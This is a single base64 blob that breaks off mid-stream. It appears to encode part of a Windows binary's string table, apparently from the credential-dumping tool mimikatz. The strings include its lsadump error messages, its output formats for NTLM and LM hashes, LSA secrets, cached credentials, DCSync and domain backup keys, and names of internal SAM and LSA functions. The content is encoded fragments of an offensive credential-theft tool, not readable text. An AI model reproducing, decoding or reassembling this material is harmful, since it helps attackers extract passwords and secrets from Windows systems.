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AYwBoAGUAVgAyACAAOgAgAAAAAAAgACAAQwBoAGUAYwBrAHMAdQBtACAAIAA6ACAAAAAAAD4AIABPAEsAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFMAZQB0AFYAYQBsAHUAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAACAAIABNAHMAQwBhAGMAaABlAFYAMQAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAG0AYQBjACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQAuACoAcwBcACUALgAqAHMACgAAAAAATQBzAEMAYQBjAGgAZQBWACUAYwAgADoAIAAAAAAAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAgAC8AIABzAGUAcgB2AGkAYwBlACAAJwAlAHMAJwAgAHcAaQB0AGgAIAB1AHMAZQByAG4AYQBtAGUAIAA6ACAAJQBzAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAZQBjAHIAeQBwAHQAUwBlAGMAcgBlAHQAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGw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AAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABOAGEAbQBlAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAUwBhAG0AUwBzAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAVQBzAGUAcgAgADoAIAAlAHcAWgAKAAAAAAAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGw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AZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAAAKAEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAIABwAHIAZQBmAGUAcgBlAGQAIABrAGUAeQA6ACAAAAAAAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAFAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHIAcABkAGEAdABhACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAGQAbwBtAGEAaQBuAAoAAABkAGMAAAAAAAAAAABrAGQAYwAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAARABDACAAcwBlAHIAdgBlAHIACgAKAAAAAAAAAFsARABDAF0AIABPAGIAagBlAGMAdAAgAHcAaQB0AGgAIABHAFUASQBEACAAJwAlAHMAJwAKAAoAAAAAAAAAAAAAAAAAAAAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAdQBzAGUAcgAgAGEAYwBjAG8AdQBuAHQACgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABSAFMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMALAAgAGkAbgB2AGEAbABpAGQAIABkAHcATwB1AHQAVgBlAHIAcwBpAG8AbgAgAGEAbgBkAC8AbwByACAAYwBOAHUAbQBPAGIAagBlAGMAdABzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABvAHIAIABnAHUAaQBkACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAAAAlAHMAJQAuACoAcwAlAHMAAAAAAAAAAAAgACAAIAAgACUAcwAtACUAMgB1ADoAIAAAAAAAAAAAACAAIABIAGEAcwBoACAAJQBzADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjAF8AZABlAGMAcgB5AHAAdAAgADsAIABSAHQAbABEAGUAYwByAHkAcAB0AEQARQBTADIAYgBsAG8AYwBrAHMAMQBEAFcATwBSAEQAAAAAAAAAAABPAGIAagBlAGMAdAAgAFIARABOACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAABTAEMAUgBJAFAAVAAAAAAAQQBDAEMATwBVAE4AVABEAEkAUwBBAEIATABFAAAAAAAwAHgANAAgAD8AAAAAAAAASABPAE0ARQBEAEkAUgBfAFIARQBRAFUASQBSAEUARAAAAAAAAAAAAEwATwBDAEsATwBVAFQAAABQAEEAUwBTAFcARABfAE4ATwBUAFIARQBRAEQAAAAAAFAAQQBTAFMAVwBEAF8AQwBBAE4AVABfAEMASABBAE4ARwBFAAAAAAAAAAAAAAAAAEUATgBDAFIAWQBQAFQARQBEAF8AVABFAFgAVABfAFAAQQBTAFMAVwBPAFIARABfAEEATABMAE8AVwBFAEQAAABUAEUATQBQAF8ARABVAFAATABJAEMAQQBUAEUAXwBBAEMAQwBPAFUATgBUAAAAAABOAE8AUgBNAEEATABfAEEAQwBDAE8AVQBOAFQAAAAAADAAeAA0ADAAMAAgAD8AAABJAE4AVABFAFIARABPAE0AQQBJAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAAAFcATwBSAEsAUwBUAEEAVABJAE8ATgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAAAAAUwBFAFIAVgBFAFIAXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAAAAAAMAB4ADQAMAAwADAAIAA/AAAAAAAAAAAAMAB4ADgAMAAwADAAIAA/AAAAAAAAAAAARABPAE4AVABfAEUAWABQAEkAUgBFAF8AUABBAFMAUwBXAEQAAAAAAE0ATgBTAF8ATABPAEcATwBOAF8AQQBDAEMATwBVAE4AVAAAAAAAAABTAE0AQQBSAFQAQwBBAFIARABfAFIARQBRAFUASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAFQAXwBEAEUATABFAEcAQQBUAEUARAAAAAAAAABVAFMARQBfAEQARQBTAF8ASwBFAFkAXwBPAE4ATABZAAAAAAAAAAAARABPAE4AVABfAFIARQBRAFUASQBSAEUAXwBQAFIARQBBAFUAVABIAAAAAAAAAAAAUABBAFMAUwBXAE8AUgBEAF8ARQBYAFAASQBSAEUARAAAAAAAAAAAAAAAAAAAAAAAVABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABOAE8AXwBBAFUAVABIAF8ARABBAFQAQQBfAFIARQBRAFUASQBSAEUARAAAAAAAAABQAEEAUgBUAEkAQQBMAF8AUwBFAEMAUgBFAF